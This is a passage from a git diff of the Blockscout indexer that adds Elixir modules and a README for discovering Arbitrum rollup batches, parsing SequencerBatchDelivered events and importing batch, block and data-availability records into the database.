block maps containing `hash`, `send_count`, `send_root`, + # and `l1_block_number` values + # + # ## Returns + # - The `Ecto.Multi` struct with the accumulated block update operations + @spec update_blocks(Multi.t(), [ + %{ + :hash => EthereumJSONRPC.hash(), + :send_count => non_neg_integer(), + :send_root => EthereumJSONRPC.hash(), + :l1_block_number => non_neg_integer(), + optional(atom()) => any() + } + ]) :: Multi.t() + defp update_blocks(multi, blocks) + + defp update_blocks(multi, []), do: multi + + defp update_blocks(multi, blocks) do + blocks + |> Enum.reduce(multi, fn block, multi_acc -> + Multi.update_all( + multi_acc, + {:block, block.hash}, + from(b in RollupBlock, where: b.hash == ^block.hash), + set: [ + send_count: block.send_count, + send_root: block.send_root, + l1_block_number: block.l1_block_number, + updated_at: DateTime.utc_now() + ] + ) + end) + end + + # Groups updates of the DB for the `Explorer.Chain.Transaction` table. + # + # Takes a list of transaction receipts and adds update operations to the `Ecto.Multi` + # struct for updating `gas_used_for_l1` values in `Explorer.Chain.Transaction`. The + # actual database updates are performed later when the `Ecto.Multi` is executed + # in a single DB transaction. + # + # ## Parameters + # - `multi`: The `Ecto.Multi` struct to accumulate the update operations + # - `receipts`: List of transaction receipt maps containing `transaction_hash` + # and `gas_used_for_l1` values + # + # ## Returns + # - The `Ecto.Multi` struct with the accumulated transaction update operations + @spec update_transactions(Multi.t(), [ + %{ + :transaction_hash => EthereumJSONRPC.hash(), + :gas_used_for_l1 => non_neg_integer(), + optional(atom()) => any() + } + ]) :: Multi.t() + defp update_transactions(multi, receipts) + + defp update_transactions(multi, []), do: multi + + defp update_transactions(multi, receipts) do + receipts + |> Enum.reduce(multi, fn receipt, multi_acc -> + Multi.update_all( + multi_acc, + {:transaction, receipt.transaction_hash}, + from(t in RollupTransaction, where: t.hash == ^receipt.transaction_hash), + set: [ + gas_used_for_l1: receipt.gas_used_for_l1, + updated_at: DateTime.utc_now() + ] + ) + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/README.md b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/README.md new file mode 100644 index 000000000000..34bfce7ca1fd --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/README.md @@ -0,0 +1,96 @@ +# Batch Processing Modules + +This directory contains modules that handle the discovery and processing of Arbitrum rollup batches, managing the core batch-related operations in the Blockscout indexer. + +## Module Overview + +- `discovery.ex` - Discovers and processes batches from multiple data sources +- `discovery_utils.ex` - Helper functions for batch discovery and processing +- `events.ex` - Handles event log retrieval and processing +- `rollup_entities.ex` - Manages rollup block and transaction associations +- `tasks.ex` - Orchestrates batch discovery workflows + +## Batch Data Sources + +The indexer supports multiple data storage mechanisms for batch data: +- Transaction calldata (traditional approach) +- Data Availability (DA) blobs (EIP-4844) +- AnyTrust solution +- Celestia DA layer + +For each batch, the indexer: +1. Processes the `SequencerBatchDelivered` event +2. Extracts batch data from the corresponding source by analyzing the transaction that emitted the event +3. Builds comprehensive batch information including: + - Batch boundaries + - Included L2 transactions + - Message data + - Data availability information +4. Updates the status of L2-to-L1 messages included in the batch transactions to mark them as committed + +## Entity Linkage + +The batch processor creates and maintains relationships between: +- Batches and their corresponding rollup blocks +- Batches and included rollup transactions +- Parent chain transactions and batch data + +This linkage is established even if the related entities (blocks or transactions) haven't been fetched yet by the main block fetcher, ensuring data consistency when the entities are eventually processed. + +## Processing Patterns + +Batch processing follows three main patterns: +- New batch discovery (forward processing) +- Historical batch discovery (backward processing) +- Missing batch detection (gap filling) + +Data recovery mechanisms include: +- Automatic RPC fallback for missing data +- Chunk-based processing for large datasets +- Proper error handling and logging + +## Handling of Edge Cases + +The batch discovery process handles several important edge cases: + +1. Legacy Batch Format + - Some batches lack message counts in transaction calldata (from old SequencerInbox contract) + - Block ranges are determined by analyzing neighboring batches + - Binary search is used when only one neighbor is indexed + +2. Data Recovery and Gaps + - Automatically recovers missing rollup blocks and transactions via RPC + - Identifies and processes missing batches in sequential numbering + - Maps gaps to L1 block ranges for targeted recovery + - Chunks large datasets to ensure partial progress on failures + - Processes missing data in bounded ranges for efficiency + +3. Chain Reorganization + - Uses safe block numbers to prevent reorg issues + - Re-processes commitment transactions for existing batches + - Updates block numbers and timestamps if reorg detected + - Maintains consistency between L1 and L2 data + - Adjusts ranges when safe blocks affect discovery windows + +4. Batch Zero Handling + - Explicitly skips batch number 0 as it contains no rollup blocks/transactions + - Adjusts block counting for first valid batch accordingly + +5. Initial Block Detection + - The indexer configuration might limit fetched rollup blocks (e.g., not starting from genesis). Thus, the batch discovery process should operate only within the available and relevant block range rather than enforcing discovery across all historical data. + +## Module Organization + +The batch processing functionality is split across multiple modules rather than maintained in a single monolithic file for two primary reasons: + +### 1. Collaborative Development + +Splitting functionality across multiple files significantly reduces the likelihood of merge conflicts when multiple developers are working on different features simultaneously. Each module can be modified independently without affecting other parts of the codebase. + +### 2. LLM-Based Development Optimization + +The modular structure is specifically designed to work better with Large Language Model (LLM) based coding assistants: + +- **Output Token Efficiency**: While modern LLMs can handle large files in their input context, they still have limitations on output tokens. Smaller files make it easier for AI assistants to propose and explain changes within these limits. + +- **Focus Window Management**: Smaller, focused modules help maintain a clear context window when working with AI assistants, making it easier to discuss and modify specific functionality without the noise of unrelated code. \ No newline at end of file diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/discovery.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/discovery.ex new file mode 100644 index 000000000000..2f744d9414ec --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/discovery.ex @@ -0,0 +1,687 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Batches.Discovery do + @moduledoc """ + Implements core batch discovery functionality for the Arbitrum rollup indexer. + + The module's primary responsibilities include: + * Processing `SequencerBatchDelivered` event logs to extract batch information + * Building comprehensive data structures for batches and associated entities + * Handling Data Availability information for AnyTrust and Celestia solutions + * Managing L2-to-L1 message status updates for committed messages + * Importing discovered data into the database + * Broadcasting new batch notifications for websocket clients + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1] + + alias EthereumJSONRPC.Block.ByNumber, as: BlockByNumber + + alias Explorer.Chain + alias Explorer.Chain.Arbitrum + alias Explorer.Chain.Events.Publisher + + alias Indexer.Fetcher.Arbitrum.DA.Common, as: DataAvailabilityInfo + alias Indexer.Fetcher.Arbitrum.DA.{Anytrust, Celestia} + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Db.ParentChainTransactions, as: DbParentChainTransactions + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Fetcher.Arbitrum.Workers.Batches.DiscoveryUtils + alias Indexer.Fetcher.Arbitrum.Workers.Batches.Events, as: EventsUtils + alias Indexer.Fetcher.Arbitrum.Workers.Batches.RollupEntities, as: RollupEntities + alias Indexer.Prometheus.Instrumenter + + require Logger + + @doc """ + Performs discovery of new or historical batches within a specified block range. + + Retrieves SequencerBatchDelivered event logs from the specified block range and + processes these logs to identify new batches and their details. Constructs + comprehensive data structures for batches, lifecycle transactions, rollup blocks, + rollup transactions, and Data Availability records. Identifies L2-to-L1 messages + committed within these batches and updates their status. All discovered data is + imported into the database. New batches are announced for websocket broadcast. + + ## Parameters + - `sequencer_inbox_address`: The SequencerInbox contract address for filtering logs + - `start_block`: Starting block number for discovery range + - `end_block`: Ending block number for discovery range + - `new_batches_limit`: Maximum number of new batches to process per iteration + - `messages_to_blocks_shift`: Value to align message counts with rollup block numbers + - `l1_rpc_config`: RPC configuration parameters for L1 + - `node_interface_address`: NodeInterface contract address on the rollup + - `rollup_rpc_config`: RPC configuration parameters for rollup data + + ## Returns + - N/A + """ + @spec perform( + binary(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + }, + binary(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: any() + def perform( + sequencer_inbox_address, + start_block, + end_block, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) do + raw_logs = + EventsUtils.get_logs_for_batches( + min(start_block, end_block), + max(start_block, end_block), + sequencer_inbox_address, + l1_rpc_config.json_rpc_named_arguments + ) + + new_batches_discovery? = end_block >= start_block + + logs = + if new_batches_discovery? do + # called by `Indexer.Fetcher.Arbitrum.Workers.Batches.Tasks.discover_new` + raw_logs + else + # called by `Indexer.Fetcher.Arbitrum.Workers.Batches.Tasks.discover_historical` + Enum.reverse(raw_logs) + end + + # Discovered logs are divided into chunks to ensure progress + # in batch discovery, even if an error interrupts the fetching process. + logs + |> Enum.chunk_every(new_batches_limit) + |> Enum.each(fn chunked_logs -> + {batches, lifecycle_transactions, rollup_blocks, rollup_transactions, committed_transactions, da_records, + batch_to_data_blobs} = + handle_batches_from_logs( + chunked_logs, + messages_to_blocks_shift, + l1_rpc_config, + sequencer_inbox_address, + node_interface_address, + rollup_rpc_config + ) + + {:ok, _} = + Chain.import(%{ + arbitrum_lifecycle_transactions: %{params: lifecycle_transactions}, + arbitrum_l1_batches: %{params: batches}, + arbitrum_batch_blocks: %{params: rollup_blocks}, + arbitrum_batch_transactions: %{params: rollup_transactions}, + arbitrum_messages: %{params: committed_transactions}, + arbitrum_da_multi_purpose_records: %{params: da_records}, + arbitrum_batches_to_da_blobs: %{params: batch_to_data_blobs}, + timeout: :infinity + }) + + if not Enum.empty?(batches) and new_batches_discovery? do + extended_batches = extend_batches_with_commitment_transactions(batches, lifecycle_transactions) + + last_batch = + extended_batches + |> Enum.max_by(& &1.number, fn -> nil end) + + # credo:disable-for-next-line + if last_batch do + Instrumenter.set_latest_batch(last_batch.number, last_batch.commitment_transaction.timestamp) + end + + Publisher.broadcast( + [{:new_arbitrum_batches, extended_batches}], + :realtime + ) + end + end) + end + + # Processes logs to extract batch information and prepare it for database import. + # + # This function analyzes SequencerBatchDelivered event logs to identify new batches + # and retrieves their details, avoiding the reprocessing of batches already known + # in the database. It enriches the details of new batches with data from corresponding + # L1 transactions and blocks, including timestamps and block ranges. The lifecycle + # transactions for already known batches are updated with actual block numbers and + # timestamps. The function then prepares batches, associated rollup blocks and + # transactions, lifecycle transactions and Data Availability related records for + # database import. + # Additionally, L2-to-L1 messages initiated in the rollup blocks associated with the + # discovered batches are retrieved from the database, marked as `:sent`, and prepared + # for database import. + # + # ## Parameters + # - `logs`: The list of SequencerBatchDelivered event logs. + # - `msg_to_block_shift`: The shift value for mapping batch messages to block numbers. + # - `l1_rpc_config`: The RPC configuration for L1 requests. + # - `sequencer_inbox_address`: The address of the SequencerInbox contract. + # - `node_interface_address`: The address of the NodeInterface contract on the rollup. + # - `rollup_rpc_config`: The RPC configuration for rollup data requests. + # + # ## Returns + # - A tuple containing lists of batches, lifecycle transactions, rollup blocks, + # rollup transactions, committed messages (with the status `:sent`), records + # with DA-related information if applicable, and batch-to-DA-blob associations, + # all ready for database import. + @spec handle_batches_from_logs( + [%{String.t() => any()}], + non_neg_integer(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + }, + binary(), + binary(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: { + [Arbitrum.L1Batch.to_import()], + [Arbitrum.LifecycleTransaction.to_import()], + [Arbitrum.BatchBlock.to_import()], + [Arbitrum.BatchTransaction.to_import()], + [Arbitrum.Message.to_import()], + [Arbitrum.DaMultiPurposeRecord.to_import()], + [Arbitrum.BatchToDaBlob.to_import()] + } + defp handle_batches_from_logs( + logs, + msg_to_block_shift, + l1_rpc_config, + sequencer_inbox_address, + node_interface_address, + rollup_rpc_config + ) + + defp handle_batches_from_logs([], _, _, _, _, _), do: {[], [], [], [], [], [], []} + + defp handle_batches_from_logs( + logs, + msg_to_block_shift, + %{ + json_rpc_named_arguments: json_rpc_named_arguments, + chunk_size: chunk_size + } = l1_rpc_config, + sequencer_inbox_address, + node_interface_address, + rollup_rpc_config + ) do + existing_batches = + logs + |> Rpc.extract_batch_numbers_from_logs() + |> DbSettlement.batches_exist() + + {batches, transactions_requests, blocks_requests, existing_commitment_transactions} = + parse_logs_for_new_batches(logs, existing_batches) + + blocks_to_ts = Rpc.execute_blocks_requests_and_get_ts(blocks_requests, json_rpc_named_arguments, chunk_size) + + {initial_lifecycle_transactions, batches_to_import, da_info} = + execute_transaction_requests_parse_transactions_calldata( + transactions_requests, + msg_to_block_shift, + blocks_to_ts, + batches, + l1_rpc_config, + %{ + node_interface_address: node_interface_address, + json_rpc_named_arguments: rollup_rpc_config.json_rpc_named_arguments + } + ) + + # Check if the commitment transactions for the batches which are already in the database + # needs to be updated in case of reorgs + lifecycle_transactions_wo_indices = + initial_lifecycle_transactions + |> Map.merge(update_lifecycle_transactions_for_new_blocks(existing_commitment_transactions, blocks_to_ts)) + + {blocks_to_import, rollup_transactions_to_import} = + RollupEntities.associate_rollup_blocks_and_transactions(batches_to_import, rollup_rpc_config) + + lifecycle_transactions = + lifecycle_transactions_wo_indices + |> DbParentChainTransactions.get_indices_for_l1_transactions() + + transaction_counts_per_batch = RollupEntities.batches_to_rollup_transactions_amounts(rollup_transactions_to_import) + + batches_list_to_import = + batches_to_import + |> Map.values() + |> Enum.reduce([], fn batch, updated_batches_list -> + [ + batch + |> Map.put(:commitment_id, get_l1_transaction_id_by_hash(lifecycle_transactions, batch.transaction_hash)) + |> Map.put( + :transactions_count, + case transaction_counts_per_batch[batch.number] do + nil -> 0 + value -> value + end + ) + |> Map.drop([:transaction_hash]) + | updated_batches_list + ] + end) + + {da_records, batch_to_data_blobs} = + DataAvailabilityInfo.prepare_for_import(da_info, %{ + sequencer_inbox_address: sequencer_inbox_address, + json_rpc_named_arguments: l1_rpc_config.json_rpc_named_arguments + }) + + # It is safe to not re-mark messages as committed for the batches that are already in the database + committed_messages = + if Enum.empty?(blocks_to_import) do + [] + else + # Without check on the empty list of keys `Enum.max()` will raise an error + blocks_to_import + |> Map.keys() + |> Enum.max() + |> get_committed_l2_to_l1_messages() + end + + {batches_list_to_import, Map.values(lifecycle_transactions), Map.values(blocks_to_import), + rollup_transactions_to_import, committed_messages, da_records, batch_to_data_blobs} + end + + # Parses logs representing SequencerBatchDelivered events to identify new batches. + # + # This function sifts through logs of SequencerBatchDelivered events, extracts the + # necessary data, and assembles a map of new batch descriptions. Additionally, it + # prepares RPC `eth_getTransactionByHash` and `eth_getBlockByNumber` requests to + # fetch details not present in the logs. To minimize subsequent RPC calls, requests to + # get the transactions details are only made for batches not previously known. + # For the existing batches, the function prepares a map of commitment transactions + # assuming that they must be updated if reorgs occur. + # + # The function skips the batch with number 0, as this batch does not contain any + # rollup blocks and transactions. + # + # ## Parameters + # - `logs`: A list of event logs to be processed. + # - `existing_batches`: A list of batch numbers already processed. + # + # ## Returns + # - A tuple containing: + # - A map of new batch descriptions, which are not yet ready for database import. + # - A list of RPC `eth_getTransactionByHash` requests for fetching details of + # the L1 transactions associated with these batches. + # - A list of RPC requests to fetch details of the L1 blocks where these batches + # were included. + # - A map of commitment transactions for the existing batches where the value is + # the block number of the transaction. + @spec parse_logs_for_new_batches( + [%{String.t() => any()}], + [non_neg_integer()] + ) :: { + %{ + non_neg_integer() => %{ + :number => non_neg_integer(), + :before_acc => binary(), + :after_acc => binary(), + :transaction_hash => binary() + } + }, + [EthereumJSONRPC.Transport.request()], + [EthereumJSONRPC.Transport.request()], + %{binary() => non_neg_integer()} + } + defp parse_logs_for_new_batches(logs, existing_batches) do + {batches, transactions_requests, blocks_requests, existing_commitment_transactions} = + logs + |> Enum.reduce({%{}, [], %{}, %{}}, fn event, acc -> + transaction_hash_raw = event["transactionHash"] + blk_num = quantity_to_integer(event["blockNumber"]) + + handle_new_batch_data( + {Rpc.parse_sequencer_batch_delivered_event(event), transaction_hash_raw, blk_num}, + existing_batches, + acc + ) + end) + + {batches, transactions_requests, Map.values(blocks_requests), existing_commitment_transactions} + end + + # Handles the new batch data to assemble a map of new batch descriptions. + # + # This function processes the new batch data by assembling a map of new batch + # descriptions and preparing RPC `eth_getTransactionByHash` and `eth_getBlockByNumber` + # requests to fetch details not present in the received batch data. To minimize + # subsequent RPC calls, requests to get the transaction details are only made for + # batches not previously known. For existing batches, the function prepares a map + # of commitment transactions, assuming that they must be updated if reorgs occur. + # If the batch number is zero, the function does nothing. + # + # ## Parameters + # - `batch_data`: A tuple containing the batch number, before and after accumulators, + # transaction hash, and block number. + # - `existing_batches`: A list of batch numbers that are already processed. + # - `acc`: A tuple containing new batch descriptions, transaction requests, + # block requests, and existing commitment transactions maps. + # + # ## Returns + # - A tuple containing: + # - A map of new batch descriptions, which are not yet ready for database import. + # - A list of RPC `eth_getTransactionByHash` requests for fetching details of + # the L1 transactions associated with these batches. + # - A map of RPC requests to fetch details of the L1 blocks where these batches + # were included. The keys of the map are L1 block numbers. + # - A map of commitment transactions for the existing batches where the value is + # the block number of the transaction. + @spec handle_new_batch_data( + {{non_neg_integer(), binary(), binary()}, binary(), non_neg_integer()}, + [non_neg_integer()], + {map(), list(), map(), map()} + ) :: { + %{ + non_neg_integer() => %{ + :number => non_neg_integer(), + :before_acc => binary(), + :after_acc => binary(), + :transaction_hash => binary() + } + }, + [EthereumJSONRPC.Transport.request()], + %{non_neg_integer() => EthereumJSONRPC.Transport.request()}, + %{binary() => non_neg_integer()} + } + defp handle_new_batch_data( + batch_data, + existing_batches, + acc + ) + + defp handle_new_batch_data({{batch_num, _, _}, _, _}, _, acc) when batch_num == 0, do: acc + + defp handle_new_batch_data( + {{batch_num, before_acc, after_acc}, transaction_hash_raw, blk_num}, + existing_batches, + {batches, transactions_requests, blocks_requests, existing_commitment_transactions} + ) do + transaction_hash = Rpc.string_hash_to_bytes_hash(transaction_hash_raw) + + {updated_batches, updated_transactions_requests, updated_existing_commitment_transactions} = + if batch_num in existing_batches do + {batches, transactions_requests, Map.put(existing_commitment_transactions, transaction_hash, blk_num)} + else + log_info("New batch #{batch_num} found in #{transaction_hash_raw}") + + updated_batches = + Map.put( + batches, + batch_num, + %{ + number: batch_num, + before_acc: before_acc, + after_acc: after_acc, + transaction_hash: transaction_hash + } + ) + + updated_transactions_requests = [ + Rpc.transaction_by_hash_request(%{id: 0, hash: transaction_hash_raw}) + | transactions_requests + ] + + {updated_batches, updated_transactions_requests, existing_commitment_transactions} + end + + # In order to have an ability to update commitment transaction for the existing batches + # in case of reorgs, we need to re-execute the block requests + updated_blocks_requests = + Map.put( + blocks_requests, + blk_num, + BlockByNumber.request(%{id: 0, number: blk_num}, false, true) + ) + + {updated_batches, updated_transactions_requests, updated_blocks_requests, updated_existing_commitment_transactions} + end + + # Executes transaction requests and parses the calldata to extract batch data. + # + # This function processes a list of RPC `eth_getTransactionByHash` requests, extracts + # and decodes the calldata from the transactions to obtain batch details. It updates + # the provided batch map with block ranges for new batches and constructs a map of + # lifecycle transactions with their timestamps and finalization status. Additionally, + # it examines the data availability (DA) information for Anytrust or Celestia and + # constructs a list of DA info structs. + # + # ## Parameters + # - `transactions_requests`: The list of RPC requests to fetch transaction data. + # - `msg_to_block_shift`: The shift value to adjust the message count to the correct + # rollup block numbers. + # - `blocks_to_ts`: A map of block numbers to their timestamps, required to complete + # data for corresponding lifecycle transactions. + # - `batches`: The current batch data to be updated. + # - A configuration map containing L1 JSON RPC arguments, a track finalization flag, + # and a chunk size for batch processing. + # - A configuration map containing the rollup RPC arguments and the address of the + # NodeInterface contract. + # + # ## Returns + # - A tuple containing: + # - A map of lifecycle (L1) transactions, which are not yet compatible with + # database import and require further processing. + # - An updated map of batch descriptions with block ranges and data availability + # information. + # - A list of data availability information structs for Anytrust or Celestia. + @spec execute_transaction_requests_parse_transactions_calldata( + [EthereumJSONRPC.Transport.request()], + non_neg_integer(), + %{EthereumJSONRPC.block_number() => DateTime.t()}, + %{non_neg_integer() => map()}, + %{ + :chunk_size => non_neg_integer(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :track_finalization => boolean(), + optional(any()) => any() + }, + %{ + :node_interface_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + } + ) :: + {%{ + binary() => %{ + :hash => binary(), + :block_number => non_neg_integer(), + :timestamp => DateTime.t(), + :status => :unfinalized | :finalized + } + }, + %{ + non_neg_integer() => %{ + :start_block => non_neg_integer(), + :end_block => non_neg_integer(), + :data_available => atom() | nil, + optional(any()) => any() + } + }, [Anytrust.t() | Celestia.t()]} + defp execute_transaction_requests_parse_transactions_calldata( + transactions_requests, + msg_to_block_shift, + blocks_to_ts, + batches, + %{ + json_rpc_named_arguments: json_rpc_named_arguments, + track_finalization: track_finalization?, + chunk_size: chunk_size + }, + rollup_config + ) do + transactions_requests + |> Enum.chunk_every(chunk_size) + |> Enum.reduce({%{}, batches, []}, fn chunk, {l1_transactions, updated_batches, da_info} -> + chunk + # each eth_getTransactionByHash will take time since it returns entire batch + # in `input` which is heavy because contains dozens of rollup blocks + |> Rpc.make_chunked_request(json_rpc_named_arguments, "eth_getTransactionByHash") + |> Enum.reduce({l1_transactions, updated_batches, da_info}, fn resp, + {transactions_map, batches_map, da_info_list} -> + block_number = quantity_to_integer(resp["blockNumber"]) + transaction_hash = Rpc.string_hash_to_bytes_hash(resp["hash"]) + + # Although they are called messages in the functions' ABI, in fact they are + # rollup blocks + {batch_num, prev_message_count, new_message_count, extra_data} = + Rpc.parse_calldata_of_add_sequencer_l2_batch(resp["input"]) + + # For the case when the rollup blocks range is not discovered on the previous + # step due to handling of legacy events, it is required to make more + # sophisticated lookup based on the previously discovered batches and requests + # to the NodeInterface contract on the rollup. + {batch_start_block, batch_end_block} = + DiscoveryUtils.determine_batch_block_range( + batch_num, + prev_message_count, + new_message_count, + msg_to_block_shift, + rollup_config + ) + + {da_type, da_data} = + case DataAvailabilityInfo.examine_batch_accompanying_data(batch_num, extra_data) do + {:ok, t, d} -> {t, d} + {:error, _, _} -> {nil, nil} + end + + updated_batches_map = + Map.put( + batches_map, + batch_num, + Map.merge(batches_map[batch_num], %{ + start_block: batch_start_block, + end_block: batch_end_block, + batch_container: da_type + }) + ) + + updated_transactions_map = + Map.put(transactions_map, transaction_hash, %{ + hash: transaction_hash, + block_number: block_number, + timestamp: blocks_to_ts[block_number], + status: + if track_finalization? do + :unfinalized + else + :finalized + end + }) + + # credo:disable-for-lines:6 Credo.Check.Refactor.Nesting + updated_da_info_list = + if DataAvailabilityInfo.required_import?(da_type) do + [da_data | da_info_list] + else + da_info_list + end + + {updated_transactions_map, updated_batches_map, updated_da_info_list} + end) + end) + end + + # Updates lifecycle transactions for new blocks by setting the block number and + # timestamp for each transaction. + # + # The function checks if a transaction's block number and timestamp match the + # new values. If they do not, the transaction is updated with the new block + # number and timestamp. + # + # Parameters: + # - `existing_commitment_transactions`: A map where keys are transaction hashes and + # values are block numbers. + # - `block_to_ts`: A map where keys are block numbers and values are timestamps. + # + # Returns: + # - A map where keys are transaction hashes and values are updated lifecycle + # transactions with the block number and timestamp set, compatible with the + # database import operation. + @spec update_lifecycle_transactions_for_new_blocks(%{binary() => non_neg_integer()}, %{ + non_neg_integer() => non_neg_integer() + }) :: + %{binary() => Arbitrum.LifecycleTransaction.to_import()} + defp update_lifecycle_transactions_for_new_blocks(existing_commitment_transactions, block_to_ts) do + existing_commitment_transactions + |> Map.keys() + |> DbParentChainTransactions.lifecycle_transactions() + |> Enum.reduce(%{}, fn transaction, transactions -> + block_number = existing_commitment_transactions[transaction.hash] + ts = block_to_ts[block_number] + + case ArbitrumHelper.compare_lifecycle_transaction_and_update(transaction, {block_number, ts}, "commitment") do + {:updated, updated_transaction} -> + Map.put(transactions, transaction.hash, updated_transaction) + + _ -> + transactions + end + end) + end + + # Retrieves the unique identifier of an L1 transaction by its hash from the given + # map. `nil` if there is no such transaction in the map. + @spec get_l1_transaction_id_by_hash(%{binary() => Arbitrum.LifecycleTransaction.to_import()}, binary()) :: + non_neg_integer() | nil + defp get_l1_transaction_id_by_hash(l1_transactions, hash) do + l1_transactions + |> Map.get(hash) + |> Kernel.||(%{id: nil}) + |> Map.get(:id) + end + + # Retrieves initiated L2-to-L1 messages up to specified block number and marks them as 'sent'. + @spec get_committed_l2_to_l1_messages(non_neg_integer()) :: [Arbitrum.Message.to_import()] + defp get_committed_l2_to_l1_messages(block_number) do + block_number + |> DbMessages.initiated_l2_to_l1_messages() + |> Enum.map(fn transaction -> + Map.put(transaction, :status, :sent) + end) + end + + # Extends the provided list of batches with their corresponding commitment transactions. + @spec extend_batches_with_commitment_transactions( + [%{:commitment_id => non_neg_integer(), optional(any()) => any()}], + [%{:id => non_neg_integer(), optional(any()) => any()}] + ) :: [ + %{ + :commitment_id => non_neg_integer(), + :commitment_transaction => %{:id => non_neg_integer(), optional(any()) => any()}, + optional(any()) => any() + } + ] + defp extend_batches_with_commitment_transactions(batches, lifecycle_transactions) do + Enum.map(batches, fn batch -> + lifecycle_transaction = + Enum.find(lifecycle_transactions, fn transaction -> transaction.id == batch.commitment_id end) + + Map.put(batch, :commitment_transaction, lifecycle_transaction) + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/discovery_utils.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/discovery_utils.ex new file mode 100644 index 000000000000..001dadaa8a92 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/discovery_utils.ex @@ -0,0 +1,136 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Batches.DiscoveryUtils do + @moduledoc """ + Provides utility functions for batch discovery in Arbitrum rollups. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1] + + alias Explorer.Chain.Arbitrum + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + + require Logger + + @doc """ + Determines the block range for a batch using either message counts or neighboring batch information. + + Depending on the parameters passed, the function will determine the block + range for a batch in one of two ways: + + 1. Modern batches with message counts from transaction calldata: + - Message counts are extracted from the contract call data of batch + submission transactions on L1 + - These counts typically correspond directly to L2 block numbers + - A shift value may be applied for specific chains (e.g., ArbitrumOne) + + 2. Legacy batches from the old `SequencerInbox` contract: + - No message counts are available in the transaction calldata + - Block ranges are determined by analyzing neighboring batches + - Binary search is used to find the opposite block when only one neighbor + is already indexed + + ## Parameters + - `batch_number`: The batch number for which to determine the block range + - `prev_message_count`: The message count before this batch, or `nil` + - `new_message_count`: The message count after this batch, or `nil` + - `msg_to_block_shift`: The adjustment value to convert message counts to block numbers + - `rollup_config`: Configuration map containing: + - `node_interface_address`: Address of the `NodeInterface` contract + - `json_rpc_named_arguments`: JSON-RPC connection parameters + + ## Returns + - A tuple `{start_block, end_block}` representing the inclusive range of rollup + blocks in the batch + """ + @spec determine_batch_block_range( + non_neg_integer(), + non_neg_integer() | nil, + non_neg_integer() | nil, + non_neg_integer(), + %{ + node_interface_address: EthereumJSONRPC.address(), + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments() + } + ) :: {non_neg_integer(), non_neg_integer()} + def determine_batch_block_range( + batch_number, + prev_message_count, + new_message_count, + msg_to_block_shift, + rollup_config + ) + + def determine_batch_block_range(batch_number, prev_message_count, new_message_count, _, rollup_config) + when is_nil(prev_message_count) and is_nil(new_message_count) do + log_info("No blocks range for batch ##{batch_number}. Trying to find it based on already discovered batches.") + + {highest_block, step_highest_to_lowest} = get_expected_highest_block_and_step(batch_number + 1) + {lowest_block, step_lowest_to_highest} = get_expected_lowest_block_and_step(batch_number - 1) + + {start_block, end_block} = + case {lowest_block, highest_block} do + {nil, nil} -> raise "Impossible to determine the block range for batch #{batch_number}" + {lowest, nil} -> Rpc.get_block_range_for_batch(lowest, step_lowest_to_highest, batch_number, rollup_config) + {nil, highest} -> Rpc.get_block_range_for_batch(highest, step_highest_to_lowest, batch_number, rollup_config) + {lowest, highest} -> {lowest, highest} + end + + log_info("Blocks range for batch ##{batch_number} is determined as #{start_block}..#{end_block}") + {start_block, end_block} + end + + def determine_batch_block_range(_, prev_message_count, new_message_count, msg_to_block_shift, _) do + # In some cases extracted numbers for messages does not linked directly + # with rollup blocks, for this, the numbers are shifted by a value specific + # for particular rollup + {prev_message_count + msg_to_block_shift, new_message_count + msg_to_block_shift - 1} + end + + # Calculates the expected highest block and step required for the lowest block look up for a given batch number. + @spec get_expected_highest_block_and_step(non_neg_integer()) :: {non_neg_integer(), non_neg_integer()} | {nil, nil} + defp get_expected_highest_block_and_step(batch_number) do + # since the default direction for the block range exploration is chosen to be from the highest to lowest + # the step is calculated to be positive + case DbSettlement.get_batch_by_number(batch_number) do + nil -> + {nil, nil} + + %Arbitrum.L1Batch{start_block: start_block, end_block: end_block} -> + {start_block - 1, half_of_block_range(start_block, end_block, :descending)} + end + end + + # Calculates the expected lowest block and step required for the highest block look up for a given batch number. + @spec get_expected_lowest_block_and_step(non_neg_integer()) :: {non_neg_integer(), integer()} | {nil, nil} + defp get_expected_lowest_block_and_step(batch_number) do + # since the default direction for the block range exploration is chosen to be from the highest to lowest + # the step is calculated 